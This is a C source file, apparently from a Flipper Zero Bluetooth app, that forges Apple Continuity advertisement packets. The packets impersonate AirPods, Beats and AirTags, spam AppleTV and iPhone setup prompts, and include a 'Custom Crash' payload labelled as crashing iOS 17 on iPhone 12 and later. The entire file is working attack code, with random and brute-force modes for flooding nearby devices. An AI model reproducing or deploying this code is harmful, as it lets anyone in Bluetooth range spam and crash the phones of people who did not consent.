continuity.c 41 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_beats_flex[] = {
  15. {0x00, "White"},
  16. {0x01, "Black"},
  17. };
  18. static const ContinuityColor colors_beats_solo_3[] = {
  19. {0x00, "White"},
  20. {0x01, "Black"},
  21. };
  22. static const ContinuityColor colors_powerbeats_3[] = {
  23. {0x00, "White"},
  24. {0x01, "Black"},
  25. };
  26. static const ContinuityColor colors_powerbeats_pro[] = {
  27. {0x00, "White"},
  28. {0x01, "Black"},
  29. };
  30. static const ContinuityColor colors_beats_solo_pro[] = {
  31. {0x00, "White"},
  32. {0x01, "Black"},
  33. };
  34. static const ContinuityColor colors_beats_studio_buds[] = {
  35. {0x00, "White"},
  36. {0x01, "Black"},
  37. };
  38. static const ContinuityColor colors_beats_x[] = {
  39. {0x00, "White"},
  40. {0x01, "Black"},
  41. };
  42. static const ContinuityColor colors_beats_studio_3[] = {
  43. {0x00, "White"},
  44. {0x01, "Black"},
  45. {0x03, "Red"},
  46. {0x43, "White marble"},
  47. };
  48. static const ContinuityColor colors_beats_studio_pro[] = {
  49. {0x00, "White"},
  50. {0x01, "Black"},
  51. };
  52. static const ContinuityColor colors_beats_fit_pro[] = {
  53. {0x00, "White"},
  54. {0x01, "Black"},
  55. };
  56. static const ContinuityColor colors_beats_studio_buds_[] = {
  57. {0x00, "White"},
  58. {0x01, "Black"},
  59. };
  60. static const struct {
  61. uint16_t value;
  62. const char* name;
  63. const ContinuityColor* colors;
  64. const uint8_t colors_count;
  65. } pp_models[] = {
  66. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  67. {0x0A20, "AirPods Max", colors_white, COUNT_OF(colors_white)},
  68. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  69. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  70. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  71. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  72. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  73. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  74. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  75. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  76. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  77. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  78. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  79. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  80. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  81. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  82. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  83. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  84. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  85. };
  86. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  87. static const struct {
  88. uint8_t value;
  89. const char* name;
  90. } pp_prefixes[] = {
  91. {0x07, "New Device"},
  92. {0x01, "Not Your Device"},
  93. {0x05, "New Airtag"},
  94. };
  95. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  96. static const struct {
  97. uint8_t value;
  98. const char* name;
  99. } na_actions[] = {
  100. {0x13, "AppleTV AutoFill"},
  101. {0x27, "AppleTV Connecting..."},
  102. {0x20, "Join This AppleTV?"},
  103. {0x19, "AppleTV Audio Sync"},
  104. {0x1E, "AppleTV Color Balance"},
  105. {0x09, "Setup New iPhone"},
  106. {0x02, "Transfer Phone Number"},
  107. {0x0B, "HomePod Setup"},
  108. {0x01, "Setup New AppleTV"},
  109. {0x06, "Pair AppleTV"},
  110. {0x0D, "HomeKit AppleTV Setup"},
  111. {0x2B, "AppleID for AppleTV?"},
  112. };
  113. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  114. static const char* type_names[ContinuityTypeCOUNT] = {
  115. [ContinuityTypeAirDrop] = "AirDrop",
  116. [ContinuityTypeProximityPair] = "Continuity Pair",
  117. [ContinuityTypeAirplayTarget] = "Airplay Target",
  118. [ContinuityTypeHandoff] = "Handoff",
  119. [ContinuityTypeTetheringSource] = "Tethering Source",
  120. [ContinuityTypeNearbyAction] = "Continuity Action",
  121. [ContinuityTypeNearbyInfo] = "Nearby Info",
  122. [ContinuityTypeCustomCrash] = "Continuity Custom",
  123. };
  124. static const char* get_name(const Payload* payload) {
  125. const ContinuityCfg* cfg = &payload->cfg.continuity;
  126. return type_names[cfg->type];
  127. }
  128. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  129. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  130. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  131. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  132. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  133. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  134. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  135. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  136. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  137. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  138. };
  139. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  140. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  141. ContinuityType type;
  142. if(cfg && cfg->type != 0x00) {
  143. type = cfg->type;
  144. } else {
  145. const ContinuityType types[] = {
  146. ContinuityTypeProximityPair,
  147. ContinuityTypeNearbyAction,
  148. ContinuityTypeCustomCrash,
  149. };
  150. type = types[rand() % COUNT_OF(types)];
  151. }
  152. uint8_t size = packet_sizes[type];
  153. uint8_t* packet = malloc(size);
  154. uint8_t i = 0;
  155. packet[i++] = size - 1; // Size
  156. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  157. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  158. packet[i++] = 0x00; // ...
  159. packet[i++] = type; // Continuity Type
  160. packet[i] = size - i - 1; // Continuity Size
  161. i++;
  162. switch(type) {
  163. case ContinuityTypeAirDrop: {
  164. packet[i++] = 0x00; // Zeros
  165. packet[i++] = 0x00; // ...
  166. packet[i++] = 0x00; // ...
  167. packet[i++] = 0x00; // ...
  168. packet[i++] = 0x00; // ...
  169. packet[i++] = 0x00; // ...
  170. packet[i++] = 0x00; // ...
  171. packet[i++] = 0x00; // ...
  172. packet[i++] = 0x01; // Version
  173. packet[i++] = (rand() % 256); // AppleID
  174. packet[i++] = (rand() % 256); // ...
  175. packet[i++] = (rand() % 256); // Phone Number
  176. packet[i++] = (rand() % 256); // ...
  177. packet[i++] = (rand() % 256); // Email
  178. packet[i++] = (rand() % 256); // ...
  179. packet[i++] = (rand() % 256); // Email2
  180. packet[i++] = (rand() % 256); // ...
  181. packet[i++] = 0x00; // Zero
  182. break;
  183. }
  184. case ContinuityTypeProximityPair: {
  185. uint16_t model;
  186. uint8_t color;
  187. switch(payload ? payload->mode : PayloadModeRandom) {
  188. case PayloadModeRandom:
  189. default: {
  190. uint8_t model_index = rand() % pp_models_count;
  191. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  192. model = pp_models[model_index].value;
  193. color = pp_models[model_index].colors[color_index].value;
  194. break;
  195. }
  196. case PayloadModeValue:
  197. model = cfg->data.proximity_pair.model;
  198. color = cfg->data.proximity_pair.color;
  199. break;
  200. case PayloadModeBruteforce:
  201. switch(cfg->data.proximity_pair.bruteforce_mode) {
  202. case ContinuityPpBruteforceModel:
  203. default:
  204. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  205. color = cfg->data.proximity_pair.color;
  206. break;
  207. case ContinuityPpBruteforceColor:
  208. model = cfg->data.proximity_pair.model;
  209. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  210. break;
  211. }
  212. break;
  213. }
  214. uint8_t prefix;
  215. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  216. prefix = cfg->data.proximity_pair.prefix;
  217. } else {
  218. if(model == 0x0055 || model == 0x0030)
  219. prefix = 0x05;
  220. else
  221. prefix = 0x01;
  222. }
  223. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  224. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  225. packet[i++] = (model >> 0x00) & 0xFF; // ...
  226. packet[i++] = 0x55; // Status
  227. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  228. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  229. packet[i++] = (rand() % 256); // Lid Open Counter
  230. packet[i++] = color; // Device Color
  231. packet[i++] = 0x00;
  232. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  233. i += 16;
  234. break;
  235. }
  236. case ContinuityTypeAirplayTarget: {
  237. packet[i++] = (rand() % 256); // Flags
  238. packet[i++] = (rand() % 256); // Configuration Seed
  239. packet[i++] = (rand() % 256); // IPv4 Address
  240. packet[i++] = (rand() % 256); // ...
  241. packet[i++] = (rand() % 256); // ...
  242. packet[i++] = (rand() % 256); // ...
  243. break;
  244. }
  245. case ContinuityTypeHandoff: {
  246. packet[i++] = 0x01; // Version
  247. packet[i++] = (rand() % 256); // Initialization Vector
  248. packet[i++] = (rand() % 256); // ...
  249. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  250. packet[i++] = (rand() % 256); // Encrypted Payload
  251. packet[i++] = (rand() % 256); // ...
  252. packet[i++] = (rand() % 256); // ...
  253. packet[i++] = (rand() % 256); // ...
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // ...
  256. packet[i++] = (rand() % 256); // ...
  257. packet[i++] = (rand() % 256); // ...
  258. packet[i++] = (rand() % 256); // ...
  259. packet[i++] = (rand() % 256); // ...
  260. break;
  261. }
  262. case ContinuityTypeTetheringSource: {
  263. packet[i++] = 0x01; // Version
  264. packet[i++] = (rand() % 256); // Flags
  265. packet[i++] = (rand() % 101); // Battery Life
  266. packet[i++] = 0x00; // Cell Service Type
  267. packet[i++] = (rand() % 8); // ...
  268. packet[i++] = (rand() % 5); // Cell Service Strength
  269. break;
  270. }
  271. case ContinuityTypeNearbyAction: {
  272. uint8_t action;
  273. switch(payload ? payload->mode : PayloadModeRandom) {
  274. case PayloadModeRandom:
  275. default:
  276. action = na_actions[rand() % na_actions_count].value;
  277. break;
  278. case PayloadModeValue:
  279. action = cfg->data.nearby_action.action;
  280. break;
  281. case PayloadModeBruteforce:
  282. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  283. break;
  284. }
  285. uint8_t flags;
  286. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  287. flags = cfg->data.nearby_action.flags;
  288. } else {
  289. flags = 0xC0;
  290. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  291. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  292. }
  293. packet[i++] = flags; // Action Flags
  294. packet[i++] = action; // Action Type
  295. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  296. i += 3;
  297. break;
  298. }
  299. case ContinuityTypeNearbyInfo: {
  300. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  301. packet[i++] = (rand() % 256); // Status Flags
  302. packet[i++] = (rand() % 256); // Authentication Tag
  303. packet[i++] = (rand() % 256); // ...
  304. packet[i++] = (rand() % 256); // ...
  305. break;
  306. }
  307. case ContinuityTypeCustomCrash: {
  308. // Found by @ECTO-1A
  309. uint8_t action = na_actions[rand() % na_actions_count].value;
  310. uint8_t flags = 0xC0;
  311. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  312. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  313. i -= 2; // Override segment header
  314. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  315. packet[i++] = 5; // Continuity Size
  316. packet[i++] = flags; // Action Flags
  317. packet[i++] = action; // Action Type
  318. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  319. i += 3;
  320. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  321. packet[i++] = 0x00; // ...
  322. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  323. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  324. i += 3;
  325. break;
  326. }
  327. default:
  328. break;
  329. }
  330. *_size = size;
  331. *_packet = packet;
  332. }
  333. enum {
  334. _ConfigPpExtraStart = ConfigExtraStart,
  335. ConfigPpModel,
  336. ConfigPpColor,
  337. ConfigPpPrefix,
  338. ConfigPpCOUNT,
  339. };
  340. enum {
  341. _ConfigNaExtraStart = ConfigExtraStart,
  342. ConfigNaAction,
  343. ConfigNaFlags,
  344. ConfigNaCOUNT,
  345. };
  346. enum {
  347. _ConfigCcExtraStart = ConfigExtraStart,
  348. ConfigCcInfoLock,
  349. ConfigCcInfoDevice,
  350. ConfigCcCOUNT,
  351. };
  352. static void config_callback(void* _ctx, uint32_t index) {
  353. Ctx* ctx = _ctx;
  354. Payload* payload = &ctx->attack->payload;
  355. ContinuityCfg* cfg = &payload->cfg.continuity;
  356. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  357. switch(cfg->type) {
  358. case ContinuityTypeProximityPair: {
  359. switch(index) {
  360. case ConfigPpModel:
  361. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  362. break;
  363. case ConfigPpColor:
  364. if(payload->mode != PayloadModeRandom)
  365. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  366. break;
  367. case ConfigPpPrefix:
  368. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  369. break;
  370. default:
  371. ctx->fallback_config_enter(ctx, index);
  372. break;
  373. }
  374. break;
  375. }
  376. case ContinuityTypeNearbyAction: {
  377. switch(index) {
  378. case ConfigNaAction:
  379. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  380. break;
  381. case ConfigNaFlags:
  382. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  383. break;
  384. default:
  385. ctx->fallback_config_enter(ctx, index);
  386. break;
  387. }
  388. break;
  389. }
  390. case ContinuityTypeCustomCrash: {
  391. switch(index) {
  392. case ConfigCcInfoLock:
  393. case ConfigCcInfoDevice:
  394. break;
  395. default:
  396. ctx->fallback_config_enter(ctx, index);
  397. break;
  398. }
  399. break;
  400. }
  401. default:
  402. ctx->fallback_config_enter(ctx, index);
  403. break;
  404. }
  405. }
  406. static void pp_model_changed(VariableItem* item) {
  407. Ctx* ctx = variable_item_get_context(item);
  408. Payload* payload = &ctx->attack->payload;
  409. ContinuityCfg* cfg = &payload->cfg.continuity;
  410. uint8_t index = variable_item_get_current_value_index(item);
  411. if(index) {
  412. index--;
  413. if(payload->mode != PayloadModeBruteforce ||
  414. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  415. payload->mode = PayloadModeValue;
  416. cfg->data.proximity_pair.model = pp_models[index].value;
  417. variable_item_set_current_value_text(item, pp_models[index].name);
  418. } else {
  419. payload->mode = PayloadModeRandom;
  420. variable_item_set_current_value_text(item, "Random");
  421. }
  422. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, ConfigPpModel);
  423. scene_manager_previous_scene(ctx->scene_manager);
  424. scene_manager_next_scene(ctx->scene_manager, SceneConfig);
  425. }
  426. static void pp_color_changed(VariableItem* item) {
  427. Payload* payload = variable_item_get_context(item);
  428. ContinuityCfg* cfg = &payload->cfg.continuity;
  429. uint8_t index = variable_item_get_current_value_index(item);
  430. if(payload->mode != PayloadModeBruteforce ||
  431. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  432. payload->mode = PayloadModeValue;
  433. uint8_t model_index = 0;
  434. for(; model_index < pp_models_count; model_index++) {
  435. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  436. }
  437. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  438. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  439. }
  440. static void pp_prefix_changed(VariableItem* item) {
  441. Payload* payload = variable_item_get_context(item);
  442. ContinuityCfg* cfg = &payload->cfg.continuity;
  443. uint8_t index = variable_item_get_current_value_index(item);
  444. if(index) {
  445. index--;
  446. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  447. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  448. } else {
  449. cfg->data.proximity_pair.prefix = 0x00;
  450. variable_item_set_current_value_text(item, "Auto");
  451. }
  452. }
  453. static void na_action_changed(VariableItem* item) {
  454. Payload* payload = variable_item_get_context(item);
  455. ContinuityCfg* cfg = &payload->cfg.continuity;
  456. uint8_t index = variable_item_get_current_value_index(item);
  457. if(index) {
  458. index--;
  459. payload->mode = PayloadModeValue;
  460. cfg->data.nearby_action.action = na_actions[index].value;
  461. variable_item_set_current_value_text(item, na_actions[index].name);
  462. } else {
  463. payload->mode = PayloadModeRandom;
  464. variable_item_set_current_value_text(item, "Random");
  465. }
  466. }
  467. static void extra_config(Ctx* ctx) {
  468. Payload* payload = &ctx->attack->payload;
  469. ContinuityCfg* cfg = &payload->cfg.continuity;
  470. VariableItemList* list = ctx->variable_item_list;
  471. VariableItem* item;
  472. uint8_t value_index;
  473. switch(cfg->type) {
  474. case ContinuityTypeProximityPair: {
  475. item =
  476. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  477. const char* model_name = NULL;
  478. char model_name_buf[5];
  479. const char* color_name = NULL;
  480. char color_name_buf[3];
  481. uint8_t colors_count;
  482. uint8_t value_index_color;
  483. switch(payload->mode) {
  484. case PayloadModeRandom:
  485. default:
  486. model_name = "Random";
  487. value_index = 0;
  488. color_name = "Random";
  489. colors_count = 1;
  490. value_index_color = 0;
  491. break;
  492. case PayloadModeValue:
  493. for(uint8_t i = 0; i < pp_models_count; i++) {
  494. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  495. model_name = pp_models[i].name;
  496. value_index = i + 1;
  497. colors_count = pp_models[i].colors_count;
  498. for(uint8_t j = 0; j < colors_count; j++) {
  499. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  500. color_name = pp_models[i].colors[j].name;
  501. value_index_color = j;
  502. break;
  503. }
  504. }
  505. break;
  506. }
  507. }
  508. if(!model_name) {
  509. snprintf(
  510. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  511. model_name = model_name_buf;
  512. value_index = pp_models_count + 1;
  513. colors_count = 0;
  514. }
  515. if(!color_name) {
  516. snprintf(
  517. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  518. color_name = color_name_buf;
  519. value_index_color = colors_count;
  520. }
  521. break;
  522. case PayloadModeBruteforce:
  523. switch(cfg->data.proximity_pair.bruteforce_mode) {
  524. case ContinuityPpBruteforceModel:
  525. default:
  526. model_name = "Bruteforce";
  527. value_index = pp_models_count + 1;
  528. snprintf(
  529. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  530. color_name = color_name_buf;
  531. colors_count = 1;
  532. value_index_color = 0;
  533. break;
  534. case ContinuityPpBruteforceColor:
  535. for(uint8_t i = 0; i < pp_models_count; i++) {
  536. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  537. model_name = pp_models[i].name;
  538. value_index = i + 1;
  539. colors_count = pp_models[i].colors_count;
  540. break;
  541. }
  542. }
  543. if(!model_name) {
  544. snprintf(
  545. model_name_buf,
  546. sizeof(model_name_buf),
  547. "%04X",
  548. cfg->data.proximity_pair.model);
  549. model_name = model_name_buf;
  550. value_index = pp_models_count + 1;
  551. colors_count = 0;
  552. }
  553. color_name = "Bruteforce";
  554. value_index_color = colors_count;
  555. break;
  556. }
  557. break;
  558. }
  559. variable_item_set_current_value_index(item, value_index);
  560. variable_item_set_current_value_text(item, model_name);
  561. item =
  562. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  563. variable_item_set_current_value_index(item, value_index_color);
  564. variable_item_set_current_value_text(item, color_name);
  565. item = variable_item_list_add(
  566. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  567. const char* prefix_name = NULL;
  568. char prefix_name_buf[3];
  569. if(cfg->data.proximity_pair.prefix == 0x00) {
  570. prefix_name = "Auto";
  571. value_index = 0;
  572. } else {
  573. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  574. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  575. prefix_name = pp_prefixes[i].name;
  576. value_index = i + 1;
  577. break;
  578. }
  579. }
  580. if(!prefix_name) {
  581. snprintf(
  582. prefix_name_buf,
  583. sizeof(prefix_name_buf),
  584. "%02X",
  585. cfg->data.proximity_pair.prefix);
  586. prefix_name = prefix_name_buf;
  587. value_index = pp_prefixes_count + 1;
  588. }
  589. }
  590. variable_item_set_current_value_index(item, value_index);
  591. variable_item_set_current_value_text(item, prefix_name);
  592. break;
  593. }
  594. case ContinuityTypeNearbyAction: {
  595. item = variable_item_list_add(
  596. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  597. const char* action_name = NULL;
  598. char action_name_buf[3];
  599. switch(payload->mode) {
  600. case PayloadModeRandom:
  601. default:
  602. action_name = "Random";
  603. value_index = 0;
  604. break;
  605. case PayloadModeValue:
  606. for(uint8_t i = 0; i < na_actions_count; i++) {
  607. if(cfg->data.nearby_action.action == na_actions[i].value) {
  608. action_name = na_actions[i].name;
  609. value_index = i + 1;
  610. break;
  611. }
  612. }
  613. if(!action_name) {
  614. snprintf(
  615. action_name_buf,
  616. sizeof(action_name_buf),
  617. "%02X",
  618. cfg->data.nearby_action.action);
  619. action_name = action_name_buf;
  620. value_index = na_actions_count + 1;
  621. }
  622. break;
  623. case PayloadModeBruteforce:
  624. action_name = "Bruteforce";
  625. value_index = na_actions_count + 1;
  626. break;
  627. }
  628. variable_item_set_current_value_index(item, value_index);
  629. variable_item_set_current_value_text(item, action_name);
  630. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  631. const char* flags_name = NULL;
  632. char flags_name_buf[3];
  633. if(cfg->data.nearby_action.flags == 0x00) {
  634. flags_name = "Auto";
  635. } else {
  636. snprintf(
  637. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  638. flags_name = flags_name_buf;
  639. }
  640. variable_item_set_current_value_text(item, flags_name);
  641. break;
  642. }
  643. case ContinuityTypeCustomCrash: {
  644. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  645. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  646. break;
  647. }
  648. default:
  649. break;
  650. }
  651. variable_item_list_set_enter_callback(list, config_callback, ctx);
  652. }
  653. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  654. [ContinuityTypeAirDrop] = 0,
  655. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  656. [ContinuityTypeAirplayTarget] = 0,
  657. [ContinuityTypeHandoff] = 0,
  658. [ContinuityTypeTetheringSource] = 0,
  659. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  660. [ContinuityTypeNearbyInfo] = 0,
  661. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  662. };
  663. static uint8_t config_count(const Payload* payload) {
  664. const ContinuityCfg* cfg = &payload->cfg.continuity;
  665. return config_counts[cfg->type];
  666. }
  667. const Protocol protocol_continuity = {
  668. .icon = &I_apple,
  669. .get_name = get_name,
  670. .make_packet = make_packet,
  671. .extra_config = extra_config,
  672. .config_count = config_count,
  673. };
  674. static void pp_model_callback(void* _ctx, uint32_t index) {
  675. Ctx* ctx = _ctx;
  676. Payload* payload = &ctx->attack->payload;
  677. ContinuityCfg* cfg = &payload->cfg.continuity;
  678. switch(index) {
  679. case 0:
  680. payload->mode = PayloadModeRandom;
  681. scene_manager_previous_scene(ctx->scene_manager);
  682. break;
  683. case pp_models_count + 1:
  684. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  685. break;
  686. case pp_models_count + 2:
  687. payload->mode = PayloadModeBruteforce;
  688. payload->bruteforce.counter = 0;
  689. payload->bruteforce.value = cfg->data.proximity_pair.model;
  690. payload->bruteforce.size = 2;
  691. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  692. scene_manager_previous_scene(ctx->scene_manager);
  693. break;
  694. default:
  695. if(payload->mode != PayloadModeBruteforce ||
  696. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  697. payload->mode = PayloadModeValue;
  698. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  699. scene_manager_previous_scene(ctx->scene_manager);
  700. break;
  701. }
  702. }
  703. void scene_continuity_pp_model_on_enter(void* _ctx) {
  704. Ctx* ctx = _ctx;
  705. Payload* payload = &ctx->attack->payload;
  706. ContinuityCfg* cfg = &payload->cfg.continuity;
  707. Submenu* submenu = ctx->submenu;
  708. uint32_t selected = 0;
  709. submenu_reset(submenu);
  710. bool value = payload->mode == PayloadModeValue ||
  711. (payload->mode == PayloadModeBruteforce &&
  712. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  713. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  714. if(payload->mode == PayloadModeRandom) {
  715. selected = 0;
  716. }
  717. bool found = false;
  718. for(uint8_t i = 0; i < pp_models_count; i++) {
  719. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  720. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  721. found = true;
  722. selected = i + 1;
  723. }
  724. }
  725. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  726. if(!found && value) {
  727. selected = pp_models_count + 1;
  728. }
  729. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  730. if(!value && payload->mode == PayloadModeBruteforce) {
  731. selected = pp_models_count + 2;
  732. }
  733. submenu_set_selected_item(submenu, selected);
  734. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  735. }
  736. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  737. UNUSED(_ctx);
  738. UNUSED(event);
  739. return false;
  740. }
